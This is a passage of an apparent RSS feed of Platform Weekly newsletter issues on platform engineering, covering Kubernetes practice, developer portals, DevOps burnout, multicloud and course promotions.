cultural practices still apply but DevEx put a sharper focus on developers user experience.\n\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Have you seen this in-depth guide to Internal Developer Platforms?\n\ud83e\udd50 Will platform engineering get loved to death? \n\ud83e\udd50 According to this KubeCon panel, the rise of platform engineering won\u2019t kill DevOps. But it might put an end to the tool sprawl DevOps unleashed.\n\ud83e\udd50 Here\u2019s why big data is pulling compute back on premises.\nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are some highlights:\n\n\nWant to build your own platform or platform team? Check out Rebecca Murphey\u2019s favorite article on the topic.\n\nMohit Kalra\u2019s client asked how we can use DevOps to create balance between developer freedom and cost control. The inquiry ignited this \ud83d\udd25 discussion.\n\nHere\u2019s how to convince your manager to get you an IDP.\n\nPaula Kennedy shared Syntasso\u2019s new Platform Maturity model.\n\nNew jobs and events are shared to the community every day! Check out our #jobs and #events channel to learn more.\nThere ain\u2019t no party like a cloud-native party. Thanks to everyone who came out to House of Kube!\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 11 May 2023 00:00:00 GMT\n\n\n  How to succeed at platform engineering: The missing piece\n  https://platformweekly.com/issues/how-to-succeed-at-platform-engineering-the-missing-piece\n  https://platformweekly.com/issues/how-to-succeed-at-platform-engineering-the-missing-piece\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly crack of the platform engineering walnut. Every week we unpack another part of the platform engineering world, diving into news, best practices, lessons and insights from the community.\nWe\u2019re just 6 days away from starting the first Platform Engineering certification class of 2025. The demand has been amazing!\nFor being such an awesome community, I want to share a last-chance discount code to save an additional $300 for the last few spots (we\u2019ve also kept the early bird discount going for a total savings of over $700!). \nInterested in joining? Use code:300OFF-LASTCHANCE\nunderstanding isn't enough\nI get a lot of opportunity to talk to platform engineers. In the last 6 months, there have been hundreds of conversations in the course, in calls, in-person, at roundtables or even just via message on Slack and LinkedIn. There is one thing that unites 90% of those conversations. Whether it\u2019s a CIO owning a new enterprise-wide platform initiative, or it\u2019s a new aspiring engineer at their first PE role, they all face the same challenge.\nThey don\u2019t have the foundations of how to understand and deliver platform engineering effectively OR the even harder challenge - they get it, but their team, their boss, their boss\u2019s boss just don\u2019t. There is a reason why so many of the people who take our platform engineering fundamentals course are recommendations. The course focuses heavily on that idea. How can you make sure you, and everyone around you are aligned?\nIt\u2019s not enough to understand platform engineering, if everyone around you doesn\u2019t get it. Platform engineering is a multiplayer game. That\u2019s crucial not just for the many cross cutting concerns it\u2019ll touch, but also within your own team. You might be best platform product owner around - but if your developers think platform engineering is just Heroku-style PAAS or worse a UI on your current CI/CD setup, you\u2019re never going to get them on board and get the results you want.\nWe\u2019ve been talking a lot recently about how platform engineering needs to avoid the DevOps problem - where if you asked 10 people what DevOps is, you get 11 answers.\nDefinitions are just as crucial as best practices. If you don\u2019t have the same definition of platform engineering as your boss, or your boss\u2019s boss. You\u2019re going to be in trouble.\nThere is a reason we spend so much time on it.\nP.S. Want to make sure your boss is on the same page as you? Book a seat in the course and email me and we\u2019ll give your boss 100% off. We can hammer them together!\nDon\u2019t forget to use code 300OFF-LASTCHANCE for $300 off the early bird price.]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n   5 overlooked criteria when choosing a container platform\n  https://platformweekly.com/issues/5-overlooked-criteria-when-choosing-a-container-platform\n  https://platformweekly.com/issues/5-overlooked-criteria-when-choosing-a-container-platform\n  \n  \nI\u2019ve just finished catching up on all the community content from AWS re:Invent that I missed, and one topic stuck out to me. Pankaj Gupta from VMware\u2019s article on the community blog about VKS and the criteria for picking a container platform (that no one ever thinks about).\nIt couldn\u2019t be more fitting as this exact conversation came up during last week's roundtable, and in 3 exec conversations I\u2019ve had over the last month and none of the criteria on this list were mentioned. If that\u2019s not proof they\u2019re overlooked, I don't know what is!\nHere are Pankaj\u2019s five overlooked criteria you need to keep in mind:\n\n\nFaster access to new Kubernetes versions for faster innovation\n\nDuration of standard support for Kubernetes versions - longer is better\n\nFlexibility to run multiple Kubernetes versions on the same hosts\n\nWhat's included in distribution matters a lot more than you think\n\nK8s and VMs both need to be treated as first-class citizens\nAnyone actively working with K8s knows that the grind of staying on top of 3 major releases a year is never ending, especially at larger orgs with particularly complicated setups. And there is no deluge of K8s experts out there to help you.\nYou know I\u2019m the first to say that the challenges of platform engineering are overwhelmingly cultural, but Kubernetes complexity and finding the talent to help with it is one of those few very technological challenges that holds back teams.\nCulture might be 90% of the battle. But that doesn\u2019t stop that last 10% from grinding everything to a halt. Especially when we aren\u2019t thinking about the problem.\nSo\u2026 what else have you been overlooking?]]>\n  \n  Mon, 15 Dec 2025 00:00:00 GMT\n\n\n  Is DevOps burnout actually a thing?\n  https://platformweekly.com/issues/is-devops-burnout-actually-a-thing\n  https://platformweekly.com/issues/is-devops-burnout-actually-a-thing\n  \n  \nIs DevOps burnout actually a thing?\nAre we in the middle of the Great DevOps Burnout? \ud83e\udd14\nA report from Haystack suggests yes. 83% of the 258 software engineers surveyed reported feelings of burnout from high workloads, inefficient processes, and unclear goals and targets. 74% of software engineers surveyed reported working on operations tasks in some capacity.\nThis survey from Spacelift follows a similar theme. They found that \u201cDevOps engineers are more frequently stressed than the IT average. Over 40% admit to being stressed \u2018often\u2019 or \u2018very often\u2019 compared to 34% of the IT average.\u201d The study suggests that DevOps are the most stressed because they feel their skills are insufficient for their jobs. Are their skills insufficient or does their setup lack a platform that provides sufficient support?\nIn other words, it seems that a lot of folks \u201cdoing DevOps\u201d are also burnt out. I think we have more research to do before we pinpoint the exact causes of this stress. But I don\u2019t think the trend is a coincidence.\nThere is a growing conversation in the DevOps community about whether developers can or want to take on operations tasks. The main problem they\u2019re encountering is cognitive load, which prevents developers from focusing on developing features and delivering the most value to the company. The organization\u2019s efficiency suffers as a result. It\u2019s possible that developers\u2019 well-being is suffering also.\nBut I want to hear your thoughts. Are you feeling the \u201cGreat DevOps Burnout\u201d?\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Ihor Dvoretskyi, Sr. Developer Advocate at CNCF and member of the Ukrainian armed forces were greeted by thunderous applause on the KubeCon stage. From the @linuxfoundation Twitter account: \"It has been incredible watching the open source community rally behind him and his sacrifice.\"\n\ud83e\udd50 From Whitney Lee and Mauricio Salatino's KubeCon keynote: \"Platform teams are key for success - let developers focus on code and platform teams can simplify their experience getting to production.\"\n\ud83e\udd50 The New Stack's panel about how Kubernetes shapes the dynamic between dev and ops turned into a conversation about platform engineering. Questions asked/answered included: How does platform engineering relate to DevOps? What's the golden standard for building your platform? Is DevOps actually dead? Keep an eye on your inbox next week to see a recap of this \ud83d\udd25 conversation.\n\ud83e\udd50 Have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are this week's highlights:\n\n\nGood alternatives to Backstage? \n\nOn the complexity of AWS and other tools\n\nAll the features an IDP should have \n\nOn working for a company that requires their app to host thousands or even millions of images on s3 searching for challenges and help \n\nShort conversation on team topologies\n\nProvision production level infrastructure with Terraform CDK\n\nLike what you've read? Share it with your friends \ud83e\udd17\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\n\nCya next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Platform Engineering Certification\n  https://platformweekly.com/issues/platform-engineering-certification\n  https://platformweekly.com/issues/platform-engineering-certification\n  \n  \nHey there! Welcome to Platform Weekly, your weekly nose of platform engineering whisky. Every week, we talk about the latest happenings in the platform engineering community, and industry as a whole. Everyone from events and news to best practices and lessons. Let\u2019s get crunchy.\nPlatform Engineering Certification\n\u200d\nWe\u2019re just 7 days away from the end of the first part of the platform engineering certification track, the platform engineering fundamentals course. What a wild ride it\u2019s been. That also means the early bird for the fundamentals course is officially over.\nNot without one last treat for the community though \ud83d\udc49you!\nUse the code PW30 before Friday 27th to get a 30% discount on joining the winter cohort starting October 10th. \nThe goal of the platform engineering community has always been to help drive and support this amazing discipline, whether that is avoiding the pitfalls of DevOps or accelerating a future with a few more platforms, and a lot less overloaded and burnt out teams.\nThe fundamentals course is a perfect microcosm of that.\nWe start in the first session by level setting. What is Platform Engineering? Where did it come from, where is it going and what defines it and distinguishes it from DevOps?\nWe then flow through platform reference architectures, the what and how of Platform as a Product, the platform maturity model, Portals, Orchestrators, golden paths and infrastructure platform engineering.\nWe then close with the most important thing of all. How to get started, how to sell your platform internally and ensure executive support and actual adoption. Basically - how to not crash and burn.\nI learned so much from cohort 1. From the questions, the feedback and the mistakes - and cohort 2 is going to be even better.\nI can\u2019t wait.\nUse the code PW30 and come join me!\nPlatform engineering certification - all you need to know\nPlatform Engineering offers a comprehensive certification program designed to guide professionals from foundational concepts to advanced platform engineering skills. The program includes:\n\n\nPlatform Engineering Fundamentals: This course covers essential platform engineering concepts, enabling participants to build their first Internal Developer Platform (IDP) with access to best practice blueprints and templates. \n\nMVP to IDP: Aimed at those looking to advance their skills, this course focuses on designing comprehensive rollout strategies and adoption paths across multiple workflows and teams.\n\nCertification: Upon completion of the courses, participants can test their knowledge through a combination of theoretical and hands-on tasks to earn a certification that enhances their platform engineering career.\nFor more information or to enroll, visit the Platform Engineering Courses page.]]>\n  \n  Thu, 12 Dec 2024 00:00:00 GMT\n\n\n  How do platform engineering initiatives fail, and how platforms succeed\n  https://platformweekly.com/issues/how-do-platform-engineering-initiatives-fail-and-how-platforms-succeed\n  https://platformweekly.com/issues/how-do-platform-engineering-initiatives-fail-and-how-platforms-succeed\n  \n  \nLast week my fellow contributor to the platform engineering community Sam Barlien interrogated dozens of German platform leaders in Hamburg at Container days. You know I think there is no better way to learn than just asking people what they\u2019re doing, what\u2019s working, what isn\u2019t, and what they\u2019re doing.\nThere was one leader I needed him to introduce me to, as part of our new advisory program.\n\n\n\u20ac30m annual spend on the \u201cplatform initiative\u201d\n\nProject launched in Q1 2023 but building didn\u2019t start until Q2 2024.\n\nIn his words, \u201cIt has been a complete disaster\u201d\nThis enterprise had many of the same issues that large european companies have; It was almost a century old with extensive legacy technology with a combination of on-prem and cloud (multiple cloud providers in this case), siloed teams, extensive security requirements.\nSome teams experimented with AWS or Azure and modern orchestration like Docker Swarm, while others remained tied to ticket-driven workflows, legacy systems, and little automation. This meant multiple source code management tools, different monitoring setups, and totally different approaches to databases.\nBut this doesn\u2019t mean a platform is doomed (and it doesn\u2019t explain why this one is failing). Sixt is also a 100 year German company, and their platform is awesome. Hellmann is 150 years old and their platform is a huge inspiration. \nSo, let\u2019s dissect why this platform is failing. I drilled him on 3 questions.\n\n\nWhat is the why of your platform?\n\nWhat does \u201cvalue\u201d mean to the developer, to you, and to your boss?\n\nHow are the decisions on \u201cproduct features\u201d for your platform made?\nHis answers:\n\u201cWell, uh, it depends. There are lots of whys\u201d\u201cGood question. It depends\u201d\u201cMe, and 3 or 4 others decide, sometimes over beer\u201d See the problem? There are likely 100s of things your platform could impact or serve. But if you chase all of them, you aren\u2019t going to succeed. If the why of your platform could be 30 things (especially at the beginning), it\u2019s impossible for you to really prove value.\nEspecially if you don\u2019t know what value means. If your platform has no value to your developers, why will they adopt it? Or become champions of it to their colleagues? If the platform has no value to your boss, why will they continue to sign checks or support the initiative? Your platform might serve value by your definition, but that\u2019s likely not the only one that counts.\nAnd it\u2019s no surprise they don\u2019t have the answers to these questions if the platform\u2019s decisions are made based on conversation between the experts, rather than interviews or research on those other stakeholders.\nThis platform has an immense opportunity however. It\u2019s got a leadership who clearly believes. They\u2019ve got the budget. And though it doesn\u2019t seem like it here, they\u2019ve got a smart, excited, and hardworking team and platform leader who really wants this to work!\nThey just have to take a step back, zoom in, and think of the foundations first. And maybe next year, I\u2019ll be mentioning them alongside Hellman and Sixt as my European platform icons.]]>\n  \n  Tue, 23 Sep 2025 00:00:00 GMT\n\n\n  How to make your K8s setup NOT suck\n  https://platformweekly.com/issues/how-to-make-your-k8s-setup-not-suck\n  https://platformweekly.com/issues/how-to-make-your-k8s-setup-not-suck\n  \n  \nWhat\u2019s a platform engineering newsletter without a dedicated issue for Kubernetes?\nLet\u2019s get bakin\u2019 \ud83e\udd50\nHow to make your K8s setup NOT suck\nKubernetes is here to stay. So whether you\u2019re just starting your implementation journey or are along your way, there are a few key things to keep in mind:\n1. Success \ud83d\udcc8 takes more than good intentions\nWhen I studied ~1160 engineering teams, we found that organizations across the spectrum of performance had underestimated the difficulty of implementing Kubernetes.\nThe reason? Teams expect it to be easy to use and maintain, a cost saver, cloud agnostic, and so on. They do not think about the prerequisite functional systems and security expertise \u2014 mature integration with CI/CD systems, strong configuration management, appropriate documentation \u2014 that make Kubernetes implementation successful.\nYou have to get the technical details right the first time.\n2. Appropriate security is harder than it looks\nA majority of organizations I talked to said that Kubernetes security was important to them, but that didn\u2019t translate to them handling it properly. \ud83d\ude43\nI saw plain-text secrets stored in repos, manually applied changes, lack of separation between environment-specific and agnostic configs\u2026 Y\u2019all this is why we can\u2019t have nice things. Security best practices are still necessary with Kubernetes.\n3. Self-service is essential\n90% of top performers have a setup where devs can deploy independently or on demand.\nOnly 39% of low performers said the same. Coincidence? \ud83e\udd14 I think not.\nMost concerningly, more than a third of low performers felt that most of their team was afraid to deploy to K8s clusters and break something! This fear often creates human resource bottlenecks and negates the primary benefits of containerization.\n4. Kubernetes isn\u2019t a silver bullet\nHigh-performing organizations use Kubernetes as, as Kesley Hightower puts it, \u201ca platform for building platforms\u201d.\nThey create abstractions to enable developer self-service. While this doesn\u2019t eliminate the need for some amount of Kubernetes expertise, high-performing organizations require only a few Kubernetes professionals to support them.\nUltimately, high-performing organizations understand that Kubernetes is not a silver bullet. It can be a powerful foundation\u2026 if the complexity, architecture, and security implications are properly accounted for.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Karan Pratap Singh shared this quick read about system design management tool API Gateway. Dive into its features, advantages, disadvantages and some useful examples.\n\ud83e\udd50 Why are fast services slow? Dan Slimmon explored the nuances of the latency/throughput tradeoff. Interesting read for all SREs.\n\ud83e\udd50 Google's serverless environment Knative is getting buzz. This overview by Chiradeep BasuMallick gives a great look into how Knative works, its key features and its importance for enterprises today. Worth the read.\n\ud83e\udd50 Check out this info-packed thread from Ivan Velichko. If you're learning about containers, this is a must-read:\n\ud83e\udd50 Eyes tired from all of this reading? Then listen to Level-up Engineering podcast episode \ud83c\udfa4 with Two Sigma's Camille Fournier. They discuss the role of platform teams and the most important skills for platform engineers: creating smooth communication with product teams.\n\ud83e\udd50 Y'all know what's coming \ud83d\ude09\nThat's it for the #4. Hope you found it useful. If so, share it with your friends \ud83c\udf89\nThis is a community-driven newsletter, so if you have anything \ud83d\udd25 to share from the cloud-native world, send it our way. You can submit your ideas here.\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Multicloud is the future\n  https://platformweekly.com/issues/multicloud-is-the-future\n  https://platformweekly.com/issues/multicloud-is-the-future\n  \n  \nMulticloud is inevitable. When I look at successful platforms recently, they all have one thing in common. They are either cloud agnostic, or could easily be if they wanted to. Platform engineering standards, best practices and new tooling are making it easier and easier to care less and less about which cloud provider you\u2019re using.\nSure, it is early days.\nBut today, just as no one here reading this would bat an eye at live migration of workloads between servers, I think 10 years from now we\u2019ll look back and see that platform engineering had the same impact on cloud.\nCloud might be an infinitely more complicated beast. But what platform engineering is doing is infinitely cool.\nThat\u2019s not to say cloud migration isn\u2019t (currently) very hard. Between manual resource discovery, endless scripting, and mapping dependencies by hand, the whole process can be slow, messy, and full of risk. Plus, with compliance requirements lurking basically everywhere, the stakes couldn\u2019t be higher.\nPlatform engineering is changing that however.\nThis week's blog / community webinar combo from Arshad Sayyad and Arunav Sarkar from Stackgen is the perfect example.\nThey break down the real challenges of cloud-to-cloud migration, what works, what doesn\u2019t, and why so many teams still get stuck. They talk about unnecessary lift-and-shift, how to ensure security and compliance don\u2019t fall apart mid-migration, and show off the stuff they\u2019ve built for automation, better visualization, and built-in governance.\nAs platform engineering starts to commodify the cloud more and more, what they have to say is invaluable for anyone thinking about multicloud (and if you aren\u2019t yet - you should be).\nGo check out their community webinar.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Developer Portals =/= Developer Platforms\n  https://platformweekly.com/issues/developer-portals-developer-platforms\n  https://platformweekly.com/issues/developer-portals-developer-platforms\n  \n  \nHey there!\nThis week, Humanitec CEO Kaspar von Gr\u00fcnberg weighs in on the developer portal vs. developer platform debate. And while we have you here, be sure to submit your PlatformCon 2023 talk before it\u2019s too late!\nLet\u2019s get bakin\u2019\nDeveloper portals =/= developer platforms\nKaspar von Gr\u00fcnberg, CEO @ Humanitec\nContrary to popular belief, platform engineering is not about building a fancy UI. Many organizations conflate developer portals or service catalogs with Internal Developer Platforms (IDPs), when in fact they are very different things. \nAccording to Gartner, \u201cinternal developer portals serve as the interface through which developers can discover and access internal developer platform capabilities.\u201d Take for example Netflix, who built a developer portal on top of its platform tooling. \nAn IDP on the other hand, is the sum of all tech, tools and processes that a platform engineering team binds into a golden path for developers. Golden paths reduce cognitive load and drive standardization by design. So an IDP doesn\u2019t need a developer portal to deliver value to developers. \nWhen I chatted with ~300 platform engineering teams last year, I learned that many start their platform engineering journey by building a developer portal. They do it because it feels obvious, the product is something you can show off to managers, and conversations around interfaces are relatively active. \nHowever, less than 20% of these teams were able to get developers to adopt and use the portal. Developers resent having \u201cyet another interface\u201d to learn and use. Additionally, many organizations overestimate the tangible benefits of having a portal and underestimate the amount of time and resources needed to keep the portal up-to-date.\nIn most cases, I\u2019ve found that two changes yield the biggest results. Making sure you have basic CI/CD flows set up reduces toil and increases efficiency. Restructuring your configuration management from \u201cstatic\u201d to Dynamic Configuration Management (DCM) enables standardization by design, separation of concerns, and continuous self-service with low cognitive load.\nInstead of building a UI developers didn\u2019t ask for, organizations should treat their platform as a product. Taking this approach enables you to understand your developers needs based on user research, prioritize their concerns, and build a platform people actually want to use. \nTLDR: Platform teams that prioritize building a portal before the rest of the platform will likely waste valuable resources and see a low adoption rate. \nRead the full article.\n\u200d\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Share your platform stories and insights with the community at PlatformCon 2023! The call for proposals closes on February 28th.\n\ud83e\udd50 Want to make a great platform team? Don\u2019t forget your soft skills.\n\ud83e\udd50 Check out this \ud83d\udd25 platform engineering guide, compiled by the clever folks over at InfoQ It features articles written by platform engineering communitymembers Paula Kennedy, Nigel Kersten, Aaron Erickson, and yours truly. \ud83d\ude09\n\ud83e\udd50 Let Adrian Cockcroft introduce you to the four principles of platform engineering teams done right.\n\ud83e\udd50 \nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are some job opportunities recently shared by the community: \n\n\nAlternatives to make my IaC scans faster\n\nWe're planning to build Terraform IaC self service platform, and need help from people who have implemented a similar solution\n\nLooking for an IDP solution (OSS preferred) that can be self-hosted\n\nDo you all have test backgrounded people on your platform/DevOps/SRE teams?\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 16 Mar 2023 00:00:00 GMT\n\n\n  5 depressing platform engineering data points\n  https://platformweekly.com/issues/5-depressing-platform-engineering-data-points\n  https://platformweekly.com/issues/5-depressing-platform-engineering-data-points\n  \n  \nThe communities defining annual report, The State of Platform Engineering Vol.4 is live in all its glory. Almost 60 pages of platform engineering knowledge including data from 518 platform engineers, and insights from conversations with platform leaders across every geo, business size, and industry you can imagine.\nAnd the data this year reveals some pretty sad realities\u2026 \nOr does it? Journey through these 5 depressing stats with me, and join at the end while I make my argument why they tell a more positive story than you\u2019d think.\n1. Platform engineers STILL aren\u2019t measuring.\n30% of platform teams, \u201cDO NOT MEASURE\u201d. Yet somehow in this multiple choice, some seem to measure and simultaneously not measure. With that chaos, it\u2019s no surprise that at events, and workshops industry wide - measurement is the biggest topic of challenge for most teams.\n2. 1/3 of all platforms still rely purely on mandates to drive adoption\n3. A quarter of platform teams, aren\u2019t actually doing platform engineering\nThe fundamental differentiator of platform engineering is the \u201cPlatform as a Product\u201d mindset. The introduction of product management principles into operations is a key change in delivering the impact and value of platform initiatives. If you don\u2019t have a product mindset, it\u2019s extremely hard to argue that you are actually doing \u201cplatform engineering\u201d. Yet, there are many with the title \u201cplatform engineer\u201d running \u201cplatform\u201d initiatives.\n4. Platform engineer salaries collapsed in 2025\nThe salary of a platform engineer plummeted in 2025. North America fell from about $193k to $160k, and Europe from roughly $118k to $104k. This is a huge drop compared to the salary increases we\u2019ve seen every year since 2022.\n5. Platform teams are operating based of vibes\nIf 29.6% of platform teams do not measure. Why have only 18.3% of teams answered that their time to value is \u201c not yet measurable\u201d. This same trend repeats itself throughout the data. Teams report that their metrics have improved in one section, while simultaneously reporting that they do no measurement at all. So how do they know they\u2019ve improved? The answer time and time again - is vibes.\nSo why aren\u2019t I freaking out? This is why.\nWe are still at the beginning of this journey.\nOver 50% of platform engineering initiatives are still in their startup phase with budgets of $1m or less. That means almost half of platforms in the industry are still exploring, still learning, and still growing.\nThe discipline might have grown meteorically over the last 3 years, with 90% of enterprises starting IDPs, and the number of people calling themselves platform engineers & readers of this newsletter growing 20 fold - but the reality is; most actual practice in the discipline is still in its early exploratory stages.\nThere is a reason the community courses, built around the challenges in this report, are the most successful initiative we\u2019ve ever launched. 100s of students every day are digging into how to measure effectively, how to ensure security or observability by design, where does AI fit into the platform, or simply what a platform engineer actually does.\nOver the coming 18 months, we still need a gigantic amount of these $1m platform initiatives to complete their Minimum Viable Platforms, start proving value and growing.\nWe might be at the end of the hype cycle, but we are at the very beginning of the tidal wave.\nCome learn with me. Secure those extra millions in budget. And let\u2019s goooo!]]>\n  \n  Mon, 26 Jan 2026 00:00:00 GMT\n\n\n  Is platform engineering key \ud83d\udd11 to the DevOps dream?\n  https://platformweekly.com/issues/is-platform-engineering-key-to-the-devops-dream\n  https://platformweekly.com/issues/is-platform-engineering-key-to-the-devops-dream\n  \n  \nI\u2019m super excited to send out the first issue of Platform Weekly written by a guest author. Interested in contributing? Submit your idea here.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nIs platform engineering key to the DevOps dream?\n\u201cIs platform engineering the answer to saving the DevOps dream?\u201d A few weeks ago, I joined a panel with Spectro Cloud\u2019s CTAO Saad Malik, Upbound\u2019s Developer Advocate Viktor Farcic, and Isovalent\u2019s Liz Rice to answer this question.\nFirst, we have to agree on a common definition for DevOps. As Upbound\u2019s Developer Advocate Viktor Farcic explained, the original intent of implementing DevOps was to make \u201cteams self-sufficient, so they have full control of their application, right from the idea until it is running in production.\u201d\nWhile this definition encapsulates the dream of DevOps, it seems quite different from the \u201cyou build it, you run it\u201d reality. This thread by Tom McLaughlin hits the nail on the head.\nFor organizations struggling with their DevOps implementations, platform engineering\u2019s product approach offers a glimmer of hope. Saad Malik explained how platform engineering enables both consistency and innovation: \u201cAn organization will decide where they want to be able to provide that abstraction\u2026 [but] there are going to be unique use cases\u201d where it might be okay for development teams to deviate from the golden path. Good platforms are designed to strike the right balance between developer self-service and freedom, whatever that looks like for the specific organization.\nIt\u2019s an important step forward for the community, but I think there\u2019s still more to come. Platform engineering is in the budding stage of its evolution, and as the community comes together more (especially at events like PlatformCon), I think the discipline will continue to evolve.\nWant to watch the full panel discussion? You can find it here.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Matt Campbell synthesized community discussions about platform engineering, DevOps, and cognitive load into this short read.\n\ud83e\udd50 Get some coffee \u2615 and tune in to this video by Dave Farley. He shares some essential tips for building successful platform teams.\n\ud83e\udd50 \"Parallel to this renewed focus on the base layer (spoiler alert, the cloud is not above us, it\u2019s below us in the data center and at the inner core we find storage, networking and infrastructure services) are efforts to provide self-service technologies i.e. those functions and services that engineers need, but now delivered -as-a-Service in and of themselves inside cloud layers.\" Platform engineering makes an appearance in Adrian Bridgwater's article for Forbes.\n\ud83e\udd50 Check out the cool vendors in Platform Engineering here\ud83d\udc47\n\ud83e\udd50 Finding and stating with a clear identity is a challenge for many new platform organizations. This article by Michael Galloway gives some practical advice helping to define the one.\n\ud83e\udd50 Have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are this week's highlights:\n\n\nTop 3 obstacles to Backstage adoption\n\nTry to design an DSL for automation purposes\n\nUsing terraform to import feature in AWS\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nCya next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  If Platform Engineering is such a big deal. Why haven\u2019t you started yet?\n  https://platformweekly.com/issues/if-platform-engineering-is-such-a-big-deal-why-havent-you-started-yet\n  https://platformweekly.com/issues/if-platform-engineering-is-such-a-big-deal-why-havent-you-started-yet\n  \n  \nHey there! This is Platform Weekly, your weekly journey to the center of the platform engineering earth\ud83c\udf0f\nIf Platform Engineering is such a big deal. Why haven\u2019t you started yet?\nYou don\u2019t need me to tell you that platform engineering is a huge deal. It\u2019s been on Gartner\u2019s hype cycle and top 10 trends to watch in back to back years. It\u2019s all anyone at KubeCon was talking about a few weeks ago and I bet you the same will be true at re:invent next week. And just look at the growth of this newsletter or the Platform Engineering Slack community. Platform engineering is everywhere at this point.\nBy now I have seen some of the largest companies in the world, with thousands of developers in their engineering orgs, use a Platform Orchestrator to build Internal Developer Platforms that dramatically improve their velocity and time to market.\nSo why haven\u2019t most teams started on their platform engineering journey yet? Why, when I speak to so many people about it, they tell me \u201cwe are 100% going to build a platform. Just not yet\u201d?\nThe answer might not surprise you. All this incredible hype has meant that people think platform engineering HAS to be huge and complicated. That it HAS to be a gigantic digital transformation including thousands of devs, and months of back and forth with security, compliance, CCOE, multi C-level stakeholders etc etc etc.\nAnd I totally understand why anyone in their right mind doesn\u2019t want to make that kind of gigantic multi-year commitment at the moment. Especially in these market conditions.\nThe thing is though, it doesn\u2019t have to be that at all. And it shouldn\u2019t. You can get started platforming right now with a single team. Those engineers can use a platform orchestrator to start deploying apps within a matter of weeks, and start piecing together exactly what the Internal Developer platform would look like.\nWhen it works for them (which it usually does), it can then be expanded as time and resources allow. You don\u2019t need to get trapped waiting months for compliance to approve a multi-year digital transformation. You could be deploying apps with your platform orchestrator and Internal Developer Platform in a matter of weeks. That will work out the kinks, understand what works and what doesn\u2019t, and gain valuable knowledge that will make expanding out a breeze.\nFind the right team and get them started right away and you\u2019ll have a working platform in 60 days, not 600.\nQuick bites\nArticles that blew us away:\n\n\nGoogle Says You Might Be Doing DORA Metrics Wrong\nFrom the community:\n\n\nBuilding a CLI for an IDP\n\nWhat do you use for scaffolding and automation?]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  OSS Spotlight Score \ud83c\udfbc\n  https://platformweekly.com/issues/oss-spotlight-score\n  https://platformweekly.com/issues/oss-spotlight-score\n  \n  \nBuilding an open source tool for platform engineering? We want to hear about it. This week, we\u2019re kicking off a new series to feature open source projects that can boost your platforms. Tell us about yours here.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nOSS Spotlight: Score \ud83c\udfbc\nSusa T\u00fcnker, Contributor @ Score\nAs a product manager, I see the release of new functionality being delayed because of bottlenecks in the delivery pipeline. Too often, it\u2019s caused by cloud-native developers struggling with configuration inconsistencies between environments. This is especially true when the tech stack in each environment is different.\nFor example, if you use Docker Compose locally but Helm Charts to deploy to the Kubernetes-based environment, you have to figure out Docker Compose and Helm and somehow keep it all in sync. The organizations I\u2019ve observed have coped with this complexity in different ways. Sometimes there are a few super helpful people that end up helping everyone that gets stuck. Other organizations make a page on their internal wiki site explaining how to get help. Or they have a full blown ticketing system. These approaches are great coping mechanisms at a small scale. But I wonder if we can solve the underlying problem.\nIf there was a developer-friendly standard that describes familiar workload-level constructs in a platform agnostic way, perhaps developers could deploy their workloads everywhere more easily. It could ease the requirement for specialized knowledge and operational expertise (in k8s, terraform, helm, etc.), decreasing the risk of wrongly specified or inconsistent configuration. It could act as a single source of truth on how to run a workload.\nThis is exactly what Score is designed to do. With Score, the same workload can be run on completely different technology stacks without the developer needing to be an expert in any one of them. It clearly defines the relationship between dev and ops: The ops team is given a comprehensive set of configurational requirements which, if met, ensure the workload runs as intended. Code is passed through the fence rather than being thrown over it.\nIt\u2019s an incredibly exciting project to be part of, and I can\u2019t wait to see where it goes next. If you want to support our mission, check it out on GitHub and become a contributor.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Just starting out on your platform engineering journey? T his article is a great primer.\n\ud83e\udd50 The year is coming to an end. Check the key trends for 2023 \ud83d\udc47\n\ud83e\udd50 Looking into building an Internal Developer Platform? Here are some qualitative and quantitative reasons to make the jump.\n\ud83e\udd50 Where would you see yourself in this picture?\n\ud83e\udd50 Have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are this week's highlights:\n\n\nFollow up on Viktor podcast\n\nMetrics on Platform Engineering\n\nA whopping number of job postings (11 since the beginning of the week!)\n\nTool for drift detection for kubernetes\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nCya next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  3 biggest trends from PlatformCon 2024\n  https://platformweekly.com/issues/3-biggest-trends-from-platformcon-2024\n  https://platformweekly.com/issues/3-biggest-trends-from-platformcon-2024\n  \n  \nHey there! Welcome to Platform Weekly, your weekly surf on the 